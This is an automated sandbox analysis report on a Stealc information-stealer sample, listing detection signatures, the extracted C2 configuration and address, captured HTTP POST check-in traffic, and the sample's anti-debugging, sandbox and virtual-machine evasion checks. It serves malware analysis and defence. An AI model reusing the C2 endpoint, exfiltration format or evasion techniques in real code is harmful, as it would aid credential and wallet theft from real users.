Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1522245
MD5:	c4989e7909961b15e2428e4bdc416bf1
SHA1:	6a36b4ad1ca0fce053b450cf21fe848a168870e6
SHA256:	36453fb6acaf0514d0af6fbf8ed6b8da0372c90b713c18ef73d63b97f2ec5f53
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6984 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C4989E7909961B15E2428E4BDC416BF1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2117942451.000000000124E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2075603665.0000000005050000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2116121170.0000000000691000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6984	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6984	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.690000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-29T15:17:05.403571+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.690000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "save"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0069C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00697240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00697240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00699AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00699AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00699B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00699B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_006A8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006A38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006A4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0069DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0069E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_006A4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0069ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0069BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0069DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006916D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006916D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_006A3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0069F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069F68A FindFirstFileA,	0_2_0069F68A

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 37 41 30 37 38 36 32 46 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="hwid"927A07862F713604296297------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="build"save------IJDHDGDAAAAKFIDGHJDG--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00694880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00694880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHDGDAAAAKFIDGHJDGHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 32 37 41 30 37 38 36 32 46 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 61 76 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 44 47 44 41 41 41 41 4b 46 49 44 47 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="hwid"927A07862F713604296297------IJDHDGDAAAAKFIDGHJDGContent-Disposition: form-data; name="build"save------IJDHDGDAAAAKFIDGHJDG--

Source: file.exe, 00000000.00000002.2117942451.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2117942451.000000000124E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2117942451.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2117942451.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/;
Source: file.exe, 00000000.00000002.2117942451.00000000012A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2117942451.00000000012C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php8
Source: file.exe, 00000000.00000002.2117942451.000000000124E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37I

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7	0_2_00A5E8C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A54879	0_2_00A54879
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AD86F	0_2_009AD86F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A59A60	0_2_00A59A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009E6A56	0_2_009E6A56
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A62326	0_2_00A62326
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091B319	0_2_0091B319
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A65310	0_2_00A65310
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A63C98	0_2_00A63C98
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B05DC6	0_2_00B05DC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5BD04	0_2_00A5BD04
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0E507	0_2_00A0E507
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0095D66F	0_2_0095D66F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5CF42	0_2_00A5CF42

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 006945C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: gnrpyfds ZLIB complexity 0.9948069223600122

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006A9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_006A9600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006A3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_006A3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\K1QH1J2S.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1839104 > 1048576

Source: file.exe

Static PE information: Raw size of gnrpyfds is bigger than: 0x100000 < 0x19ac00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.690000.0.unpack :EW;.rsrc :W;.idata :W; :EW;gnrpyfds:EW;orxvkivb:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;gnrpyfds:EW;orxvkivb:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_006A9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_006A9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1ca7eb should be: 0x1c5200

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: gnrpyfds
Source: file.exe	Static PE information: section name: orxvkivb
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A8A0B8 push 1B404B91h; mov dword ptr [esp], eax	0_2_00A8A313
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1E892 push edi; mov dword ptr [esp], 214A15E9h	0_2_00B1E896
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1E892 push 6C22C5C1h; mov dword ptr [esp], ecx	0_2_00B1E8E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1E892 push 62733600h; mov dword ptr [esp], eax	0_2_00B1E8F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B1E892 push 6E9FD5F6h; mov dword ptr [esp], edx	0_2_00B1E94C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009470A0 push 05B842BAh; mov dword ptr [esp], edi	0_2_00947151
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009470A0 push edx; mov dword ptr [esp], ebp	0_2_00947155
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009470A0 push ebx; mov dword ptr [esp], 63BF1812h	0_2_00947159
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AF809B push ebp; mov dword ptr [esp], eax	0_2_00AF80B7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B008F8 push eax; mov dword ptr [esp], ecx	0_2_00B0091E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B008F8 push ecx; mov dword ptr [esp], ebp	0_2_00B009DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006AB035 push ecx; ret	0_2_006AB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push 6D896095h; mov dword ptr [esp], eax	0_2_00A5E93A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push ecx; mov dword ptr [esp], 5FBE747Fh	0_2_00A5E992
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push ecx; mov dword ptr [esp], edx	0_2_00A5E9D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push 2DDC522Fh; mov dword ptr [esp], ebp	0_2_00A5E9EC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push 1F4B9047h; mov dword ptr [esp], ebp	0_2_00A5E9F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push ebx; mov dword ptr [esp], 777F3B0Bh	0_2_00A5E9FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push 0F366B30h; mov dword ptr [esp], edx	0_2_00A5EA59
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push 36C3BC80h; mov dword ptr [esp], edi	0_2_00A5EA8D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push ebx; mov dword ptr [esp], 5D3A4AE8h	0_2_00A5EADA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push 6E92D4F6h; mov dword ptr [esp], ecx	0_2_00A5EAEA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push 3193DACDh; mov dword ptr [esp], esi	0_2_00A5EB85
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push 29F7C774h; mov dword ptr [esp], ecx	0_2_00A5EB95
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push 53DF5748h; mov dword ptr [esp], esi	0_2_00A5EB9F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push edi; mov dword ptr [esp], 00000088h	0_2_00A5ECC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push 01740C13h; mov dword ptr [esp], eax	0_2_00A5ECDB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push esi; mov dword ptr [esp], 3A6ADE50h	0_2_00A5ECE2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push 16FF356Dh; mov dword ptr [esp], esp	0_2_00A5ED6A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push edi; mov dword ptr [esp], edx	0_2_00A5ED8F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A5E8C7 push 007B46D2h; mov dword ptr [esp], ebp	0_2_00A5ED97

Source: file.exe

Static PE information: section name: gnrpyfds entropy: 7.953723729400017

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_006A9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13602

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6685D second address: A66861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A66861 second address: A6686B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6686B second address: A6686F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6686F second address: A66873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D5D7 second address: A6D5EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF30F40A5Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D5EC second address: A6D5F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D5F0 second address: A6D620 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF30F40A63h 0x00000007 jmp 00007FDF30F40A69h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6D7B3 second address: A6D7B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6DCCD second address: A6DCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 jl 00007FDF30F40A56h 0x0000000c jmp 00007FDF30F40A63h 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6DCF1 second address: A6DCF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70CB5 second address: A70CE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jbe 00007FDF30F40A56h 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007FDF30F40A66h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A70CE0 second address: A70CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
